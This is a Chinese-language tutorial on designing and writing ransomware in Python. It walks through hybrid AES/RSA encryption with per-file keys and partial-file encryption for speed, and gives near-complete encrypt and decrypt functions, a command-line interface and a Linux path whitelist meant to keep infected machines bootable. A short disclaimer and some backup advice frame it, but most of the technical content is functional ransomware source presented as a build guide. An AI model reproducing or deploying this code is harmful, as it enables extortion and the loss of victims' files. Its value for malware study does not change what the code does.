勒索软件结构与加密模式研究
One of the best ways of learning how something truly works is to try to build it yourself.
本文的目的仅为分享有关勒索软件恶意软件的知识,任何人不得将其用于恶意目的。
基本加密类型
在对勒索软件的研究中最重要的概念之一就是它使用的加密类型,其中主流勒索软件均使用以下两种,具体可参阅密码学相关文献。
对称加密
对称加密是大多数人都熟悉的加密技术,其使用同一个密钥来加密或解密数据,常用于zip文件或Office文档之类的加密。
非对称加密
非对称加密的具体实现可能较为难以理解,但其应用还是简明易懂的。
非对称加密算法需要两个密钥:公开密钥(publickey:简称公钥)和私有密钥(privatekey:简称私钥)。公钥与私钥是一对,如果用公钥对数据进行加密,只有用对应的私钥才能解密。因为加密和解密使用的是两个不同的密钥,所以这种算法叫作非对称加密算法。 非对称加密算法实现机密信息交换的基本过程是:甲方生成一对密钥并将公钥公开,需要向甲方发送信息的其他角色(乙方)使用该密钥(甲方的公钥)对机密信息进行加密后再发送给甲方;甲方再用自己私钥对加密后的信息进行解密。甲方想要回复乙方时正好相反,使用乙方的公钥对数据进行加密,同理,乙方使用自己的私钥来进行解密。
另一方面,甲方可以使用自己的私钥对机密信息进行签名后再发送给乙方;乙方再用甲方的公钥对甲方发送回来的数据进行验签。其目的不是为了保密,而是证明您是发送该消息的人(就像签名在现实生活中一样有效)。甲方只能用其私钥解密由其公钥加密后的任何信息。非对称加密算法的保密性比较好,它消除了最终用户交换密钥的需要。
勒索软件相关应用
让我们考虑一下正常情况下被勒索软件感染的流程。其payload通过多种方式(钓鱼,软件漏洞等)传播,并在目标计算机上运行从而加密目标的所有文件。之后,用弹窗或其他醒目的方式要求受害者交钱以获取解密文件的方法。所以我们应该怎样才能做到这些呢?
我们的第一个反应肯定是对文件使用对称加密,但这是错误的,并且任何一个正常的勒索软件都会出于一个重要原因而避免这样做。当勒索软件正在加密受害者的文件时,加密密钥将需要出现在某个地方。如果使用对称加密,则用于加密的加密密钥也可以用于解密。这意味着合格的取证专家可以恢复感染期间用于加密的密钥,然后使用它来解密文件。当使用非对称加密时,我们使用不同的密钥进行加密和解密,因此,只要确保解密密钥的安全,即使在受害者计算机中存储加密密钥也不是什么大问题。
我们需要考虑的另一件重要事情是,作为攻击者,我们需要拥有密钥,以便受害者决定支付赎金时解密文件。使用对称加密时,我们需要在二进制代码上对密钥进行硬编码(而这有多种方法可以逆转),或者即时生成它,然后使用某种方式将其传输到攻击者的服务器(这也是一个坏主意,因为它可能在传输过程中被截获,并且如果目标计算机断网,因为没有密钥,我们将无法为受害者解密文件。)像这样的方案曾在CryptoDefense的第一代产品中使用,并允许受害者自行解密文件[1]。因为密钥既在生成后传输到服务器,缺又意外的留在了本地文件系统中。
而这就意味着我们必须使用非对称加密来加密受害者文件吗?我们可以生成一个密钥对,在代码上对公共密钥进行硬编码,然后用该密钥对所有内容进行加密(将私有密钥妥善保存)?不,我们不能。
当您尝试这么干时,一个显而易见的原因就是非对称加密比对称加密要慢几个数量级。当您加密受害者的硬盘时,您需要尽快加密所有内容。如果完全加密文件需要要花费几分钟以上,那么受害者可能会注意到其文件已被加密,而这时只需简单的关闭计算机即可。这将使他能够从硬盘驱动器中保护剩余的文件。
那么我们应该使用什么呢?
混合加密
为了解决此问题,我们可以使用混合方法。当生成payload时,我们还将生成与该payload相关联的一组公用/专用密钥。我们在该特定payload中对公钥进行编码,并且每当发生感染时,payload都会生成一个用于对称加密的密钥。加密后,我们使用硬编码的公钥对对称密钥进行加密(当然,明文存储的对称密钥会从内存/磁盘中销毁)。这个加密的对称密钥被保存在机器上的某个地方,并在赎金记录中要求受害者提供此密钥。
但是我们还有另一个问题。
密钥复用和选择明文攻击
选择明文攻击:攻击者在开始攻击时可以选择一些明文,并获取加密后的密文。如果攻击者在攻击中途可以根据已经获取的信息选择新的明文并获取对应的密文,则称为适应性选择明文攻击。其是一种加密攻击,其中,攻击者在加密之前就知道了明文,并给出了足够大的加密文件样本,从理论上讲,密钥可以从加密结果中得出。大多数文件的header(具有已知格式)都可能发生这种情况。如果我们在给定条件的情况下对所有文件使用相同的密钥,则理论上可以恢复该密钥。这实际上正是DirCrypt发生的事情[2]。其由于不合适的密码实现和密钥复用,加密过程被逆转了。
我们可以通过为每个文件使用不同的密钥来解决此问题。我们可以为每个文件生成对称密钥来对文件进行加密,同时使用payload中的公共密钥加密密钥,将加密的对称密钥写入某个位置,然后删除明文对称密钥。
许多勒索软件都使用这种方法,在这种加密模式中,它们生成一个文本文件,其中包含每个加密的文件名和与其关联的加密的公共密钥。使用解密工具时,它将读取文本文件,使用私钥解密每个密钥,然后使用解密后的密钥解密文本文件。但我们将使用一些不同的东西。
技术说明:这种类型的攻击实际上并不影响我们将使用的对称加密密码(AES-256),因为默认情况下,它对每个文件流使用不同的随机初始化矢量(IV),但我想解释一下这个适用于所有勒索软件的概念。如果勒索软件的开发人员犯了一个错误,这可能会帮助您恢复数据。 实际上,这种攻击实际上可能会影响RSA加密,因为它的最基本形式不是随机的。但在我们的情况下,这将不是问题,因为我们使用RSA加密的唯一文件是AES加密密钥,并且它们既不构成要分析的大样本也不是同类样本,并且我们将使用RSA加上最佳非对称加密填充,可为加密增加随机性。
对每个文件使用不同的密钥的另一个优点是可以在加密每个文件后删除该加密密钥,因此,如果任何受害者试图恢复该密钥,他将只能恢复用于最后一个文件加密的密钥。如果我们对所有文件使用相同的密钥,则可以在加密过程的任何部分中恢复密钥,并且所有文件都是可恢复的。
加密速度
在对勒索软件进行编译时,原始版本使用了我到目前为止所介绍的所有功能,但结果有些令人失望。当使用32位密钥(AES-256)时,初始基准测试显示加密速度约为每分钟1GB。当然,这种速度在很大程度上取决于受害者的硬件,而我使用的是VM,因为我不想意外地加密我的开发计算机,但是花16分钟的时间来加密一个简单的1TB硬盘显然并不合适。
那么,现代的勒索软件是如何在几秒钟内加密几千兆字节的信息的?答案在于文件结构。
实际上对正常操作系统而言,并不需要加密整个文件即可使其不可用。根据文件格式,对header和前几个字节进行加密就足以使整个文件不可读。我们可能可以加密每个文件的前5兆字节。当然,使用诸如strings之类的东西仍然可以读取诸如txt / ascii文件之类的简单文件,但是大多数情况下,这些文件的权重不会超过几个kb。此外,受害者最珍贵的文件通常是文档,图片和视频。即使您仍然可以尝试对部分文件进行取证分析并恢复某些内容,但这是一种手动方法,需要对每个单独的文件进行操作,这一点都不实用。
更改文件的结尾的想法也很好,我们可以通过在结尾处添加几个特定结构来利用这一点。 1. 初始化向量:使用AES加密文件时,您需要一种称为初始化向量的东西。这是在加密过程开始时生成的。 2. 加密解密密钥:我们还可以将加密解密的密钥附加到每个文件的末尾,这将不用存储每个文件的解密密钥。
加密的文件结构最终将变成如下所示:
只加密文件的一部分的另一个优点是它允许我们处理同一文件而不是生成新的加密文件并删除旧文件,而这在边界情况下很有用。在这种情况下,我们有权写入现有文件,但不能创建新文件,它还允许我们快速处理非常大的文件(类似500G的MySQL数据库)。
整体架构
为每个进程选择适当的加密方式后,我们将需要设计整体架构来传播此恶意软件,这将涉及自动为每个payload创建一组密钥的过程,因为我们不希望所有受害者共享同一密钥(如果一个人支付了赎金,它可以分发密钥,从而使每个人都可以解密他们的加密文件)。我们还需要保留与每个受害者关联的密钥的数据库。
为单个payload生成非对称密钥可以使用以下ssh-keygen命令:
1
ssh-keygen -b 2048 -m pem -f pem
开发语言选择
只要您避免使用特定于操作系统的指令(例如用os.system调用的指令),即跨平台的同时速度也要很快(rust),并且具有我们需要执行的大多数加密操作的库。最后,它最好允许混淆编译后的代码,这样能使最终二进制文件的逆向更加困难。这里我们选择了python(显而易见?)。
在选择python库时,我们可能会导入多种看上去功能相同的库,这是为了选择其中最有效的一个,特别是在密码学这种不断变化的领域。毕竟,过时的加密库或者自建的加密方案可能会导致软件的漏洞[3]。我们将使用两个知名的python库:pycryptodome和secrets。
实际上,可以使用asymcrypt。但是,我将使用直接的pycryptodome并创建每个函数来更好地说明概念。
主要函数
generate32ByteKey()
:生成一个随机的32字节密钥,有多种方法可以做到这一点。可以从/dev/urandom
抓取一个字符串并对其进行sha256sum运算,但这用于linux,而我们希望软件跨平台,因此我们将使用python的secrets库,通过secrets.token_hex(32)
完成。rsaEncryptSecret(string,publicKey)
:使用公钥非对称加密信息(因此只能使用私钥解密)。这将使我们能够使用publicKey加密每个文件的对称密钥。客户端将使用我们的privateKey解密每个文件的对称密钥,然后使用其自己的对称密钥解密每个文件。saDecryptSecret(secret, privateKey)
:使用私钥解密加密的对称密钥。symEncryptFile(publicKey, file)
:此函数是最复杂的函数,其含有具体的加密逻辑,后文将进行进一步说明。但顾名思义,它用于加密文件。symDecryptFile(privateKey, file)
:解密文件。symEncryptDirectory(publicKey, dir)
:此函数接收目录作为参数,并遍历目录以获取其中的所有文件。之后,它将使用publicKey调用symEncryptFile。symDecryptDirectory(privateKey, dir)
:与symEncryptDirectory类似,顾名思义。。。
rsaEncryptSecret
使用RSA加密密钥,但RSA在默认情况下不会进行任何随机加密,因此我们将使用最佳非对称加密填充(简称OAEP)。这是一种填充方案,可通过添加随机性和单向置换陷门来改进RSA。需要注意的是,当RSA与OAEP一起使用时,所得的密码大小应与模数相同。模数是密钥大小/8,我们使用的是2048位RSA,因此生成的密文应为256字节。
简单示例:
1 |
|
RsaDecryptSecret
使用给定的私钥解密密文:
1 |
|
SymEncryptFile
这是主要的加密函数。工作流程如下:
- 使用publicKey和文件路径作为参数调用该函数
1
def symEncryptFile(publicKey,file):
- 为指定文件生成一个随机密钥
1
key = generateKey()
- 使用publicKey加密随机密钥
1
encriptedKey = rsaEncryptSecret(key,publicKey)
- 定义文件的加密大小(n个字节)。
1
buffer_size = 1048576
- 检查文件是否加密,如已加密,跳过
1
2
3if file.endswith("." + cryptoName):
print('File is already encrypted, skipping')
return - 加密文件的前n个字节并覆盖其内容
1
2
3
4
5
6
7
8
9
10
11
12# Open the input and output files
input_file = open(file, 'r+b')
print("Encrypting file: "+ file)
output_file = open(file + '.' + cryptoName, 'w+b')
# Create the cipher object and encrypt the data
cipher_encrypt = AES.new(key, AES.MODE_CFB)
# Encrypt file first
input_file.seek(0)
buffer = input_file.read(buffer_size)
ciphered_bytes = cipher_encrypt.encrypt(buffer)
input_file.seek(0)
input_file.write(ciphered_bytes) - 将加密用的随机密钥添加到文件末尾
1
2input_file.seek(0, os.SEEK_END)
input_file.write(encriptedKey.encode()) - 在文件末尾附加AES
IV(初始化向量)
1
2input_file.seek(0, os.SEEK_END)
input_file.write(cipher_encrypt.iv) - 重命名文件
1
2input_file.close()
os.rename(file, file + "." + cryptoName)
需要注意的是我们并不需要复制完整的文件,我们只是在文件上使用了seek()
来定位字节并使过程尽可能快。这也将在解密功能中使用。
还要注意,由于我们在加密文件中同时写入了AES IV和加密密钥,因此我们不需要任何带有每个加密文件索引的txt文件。受害者可以向我们发送任何文件,只要我们拥有用于特定二进制文件的私钥,我们就可以对其解密。
SymDecryptFile
这是主要的解密函数。工作流程如下:
- 使用privateKey和文件路径作为参数调用该函数
1
def symDecryptFile(privateKey, file):
- 定义文件的解密大小(n个字节)(等于加密中使用的大小)
1
buffer_size = 1048576
- 验证文件是否已加密(带有扩展名)
1
2
3
4
5
6if file.endswith("." + cryptoName):
out_filename = file[:-(len(cryptoName) + 1)]
print("Decrypting file: " + file)
else:
print('File is not encrypted')
return - 打开文件并读取AES IV(最后16个字节)
1
2
3
4input_file = open(file, 'r+b')
# Read in the iv
input_file.seek(-16, os.SEEK_END)
iv = input_file.read(16) - 读取加密的解密密钥
1
2
3
4
5# we move the pointer to 274 bytes before the end of file
# (258 bytes of the encryption key + 16 of the AES IV)
input_file.seek(-274, os.SEEK_END)
# And we read the 258 bytes of the key
secret = input_file.read(258) - 使用提供的私钥解密加密的密钥
1
key = rsaDecryptSecret(cert, secret)
- 解密我们之前定义的aes加密的缓冲区大小,并将其写入文件的开头
1
2
3
4
5
6
7
8
9
10# Create the cipher object
cipher_encrypt = AES.new(privateKey, AES.MODE_CFB, iv=iv)
# Read the encrypted header
input_file.seek(0)
buffer = input_file.read(buffer_size)
# Decrypt the header with the key
decrypted_bytes = cipher_encrypt.decrypt(buffer)
# Write the decrypted text on the same file
input_file.seek(0)
input_file.write(decrypted_bytes) - 从文件末尾删除iv和加密密钥并重命名
1
2
3
4
5
6# Delete the last 274 bytes from the IV + key.
input_file.seek(-274, os.SEEK_END)
input_file.truncate()
input_file.close()
# Rename the file to delete the encrypted extension
os.rename(file, out_filename)
总结
使用上述函数,我们就可以获得想要的最终二进制文件了。如果正确编译了symEncryptDirectory / symDecryptDirectory
,则可以选择对参数中的文件夹/文件进行加密或解密,然后仅传递.pem文件。程序的参数选择大致如下:
1
2
3
4
5
6
7parser = argparse.ArgumentParser()
parser.add_argument("--dest", "-d", help="File or directory to encrypt/decrypt", dest="destination", default="none", required=True)
parser.add_argument("--action", "-a", help="Action (encrypt/decrypt)", dest="action", required=True)
parser.add_argument("--pem","-p", help="Public/Private key", dest="key", required=True)
除了缺少错误处理模块(检查encrypt操作是否具有作为参数传递的公钥,decrypt是否具有私钥等)之外,我们还必须定义各类操作系统的白名单。这步操作是为了使计算机“可用”但仍处于加密状态。如果您只是加密所有可见文件,则可能会: 1. 使计算机无法使用,这将使受害者发现问题。 2. 对所有内容进行加密后,系统将无法启动,并且用户将不知道自己遭到了勒索软件的攻击。
在Linux下,白名单类似于: 1
whitelist = ["/etc/ssh", "/etc/pam.d", "/etc/security/", "/boot", "/run", "/usr", "/snap", "/var", "/sys", "/proc", "/dev", "/bin", "/sbin", "/lib", "passwd", "shadow", "known_hosts", "sshd_config", "/home/sec/.viminfo", '/etc/crontab', "/etc/default/locale", "/etc/environment"]
其他形式的勒索软件(MBR加密)
目前还存在其他类型的勒索软件,例如某些勒索软件感染了驱动器的主启动记录,而payload将加密文件系统的NTFS文件表,从而使磁盘无法使用。由于这类勒索软件只需要加密一小部分数据,因此这种方法非常快[5]。Petya勒索软件就是这种设计的一个很好的例子。但它有三个主要缺点:
- 即使操作系统无法启动,我们仍然可以通过取证分析来恢复文件。它们并不会被删除,只是在文件表中被取消引用。即使恶意软件在重新启动计算机后启动了原始数据的加密例程,只要受害者立即关闭计算机并取出磁盘,文件也有很大可能可以通过取证分析得到恢复。
- 大多数现代操作系统已迁移到GPT(GUID分区表),不再使用MBR[6]。
- 它严重依赖于文件系统,并且需要对其进行修改以考虑其他区别于NTFS的文件系统类型(如EXT3/EXT4,ZFS等)。
这种方法需要了解更多的底层技术知识,另外,这种方法也不是最常用的方法,本文的主要目的是更好地理解常见的勒索软件。
建议
除了一些显而易见的建议(不要打开来自未知来源的文件,经常更新软件和系统,使用杀毒软件等)之外,最主要的预防技术就是备份,备份和备份。。。或许还有很多有关如何防止攻击的建议,但我认为最好的办法永远是拥有数据的脱机备份。
毕竟一个局域网内不是所有人都可以做到以上几点
Ps.
如果您已被感染,并且不需要立即恢复加密文件(家庭照片,视频等),那么可以尝试保留加密文件的副本。有时,勒索软件的开发人员要么退休(Shade,TeslaCrypt,HildaCrypt),要么被捕(CoinVault),甚至有时候会公开竞争对手的密钥(Petya
vs
Chimera),这些情况下解密的密钥都可能被公开,从而恢复文件。等等党永不为奴
参考
- https://www.computerworld.com/article/2489311/cryptodefense-ransomware-leaves-decryption-key-accessible.html ↩︎
- https://blog.checkpoint.com/2014/08/27/hacking-the-hacker/ ↩︎
- https://blog.malwarebytes.com/threat-analysis/2018/04/lockcrypt-ransomware/ ↩︎
- https://stackoverflow.com/questions/13378815/base64-length-calculation ↩︎
- https://en.wikipedia.org/wiki/Petya_(malware) ↩︎
- https://www.howtogeek.com/193669/whats-the-difference-between-gpt-and-mbr-when-partitioning-a-drive/ ↩︎
- GonnaCry勒索软件 ↩︎
- Architecture of a ransomware ↩︎